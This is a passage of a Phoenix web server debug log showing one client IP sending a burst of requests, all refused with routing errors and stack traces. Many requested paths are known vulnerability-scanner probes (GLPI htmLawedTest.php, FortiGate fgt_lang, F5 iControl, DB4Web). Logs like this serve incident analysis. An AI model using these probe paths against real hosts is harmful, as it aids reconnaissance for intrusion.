    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:34:45.787000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:58446] GET /ifx/
[Thu Sep  3 08:34:45.800000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:58446] ** (Phoenix.Router.NoRouteError) no route found for GET /ifx (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:34:46.881000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:58450] GET /search
[Thu Sep  3 08:34:46.897000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:58450] ** (Phoenix.Router.NoRouteError) no route found for GET /search (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:34:47.511000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:58452] GET /search
[Thu Sep  3 08:34:47.555000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:58452] ** (Phoenix.Router.NoRouteError) no route found for GET /search (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:34:51.596000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:58456] GET /status.xsl.
[Thu Sep  3 08:34:51.620000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:58456] ** (Phoenix.Router.NoRouteError) no route found for GET /status.xsl. (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:34:57.587000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48106] POST /vendor/htmlawed/htmlawed/htmLawedTest.php
[Thu Sep  3 08:34:57.606000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:48106] ** (Phoenix.Router.NoRouteError) no route found for POST /vendor/htmlawed/htmlawed/htmLawedTest.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:34:58.857000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48122] POST /glpi/vendor/htmlawed/htmlawed/htmLawedTest.php
[Thu Sep  3 08:34:58.900000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:48122] ** (Phoenix.Router.NoRouteError) no route found for POST /glpi/vendor/htmlawed/htmlawed/htmLawedTest.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:34:58.989000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48132] GET /api/getServices
[Thu Sep  3 08:34:59.016000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:48132] ** (Phoenix.Router.NoRouteError) no route found for GET /api/getServices (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:35:04.919000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45784] GET /api/getServices
[Thu Sep  3 08:35:04.952000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45784] ** (Phoenix.Router.NoRouteError) no route found for GET /api/getServices (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:35:05.700000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45786] GET /remote/fgt_lang
[Thu Sep  3 08:35:05.743000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45786] ** (Phoenix.Router.NoRouteError) no route found for GET /remote/fgt_lang (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:35:07.861000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45800] POST /FormHandler.cgi
[Thu Sep  3 08:35:07.908000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45800] ** (Phoenix.Router.NoRouteError) no route found for POST /FormHandler.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:35:12.825000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45808] GET /cgi-bin/faqmanager.cgi
[Thu Sep  3 08:35:12.860000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45808] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/faqmanager.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:35:14.255000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52632] GET /iihYG4_MiOAB
[Thu Sep  3 08:35:14.287000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52632] ** (Phoenix.Router.NoRouteError) no route found for GET /iihYG4_MiOAB (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:35:14.608000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52640] POST /iControl/iControlPortal.cgi
[Thu Sep  3 08:35:14.629000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52640] ** (Phoenix.Router.NoRouteError) no route found for POST /iControl/iControlPortal.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:35:14.904000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52654] PUT /iihYG4_MiOAB
[Thu Sep  3 08:35:14.930000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52654] ** (Phoenix.Router.NoRouteError) no route found for PUT /iihYG4_MiOAB (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:35:15.611000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52670] GET /iihYG4_MiOAB
[Thu Sep  3 08:35:15.631000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52670] ** (Phoenix.Router.NoRouteError) no route found for GET /iihYG4_MiOAB (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:35:21.131000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52672] GET /DB4Web/ninegtqvsrlrzar:23/foo
[Thu Sep  3 08:35:21.169000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52672] ** (Phoenix.Router.NoRouteError) no route found for GET /DB4Web/ninegtqvsrlrzar:23/foo (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
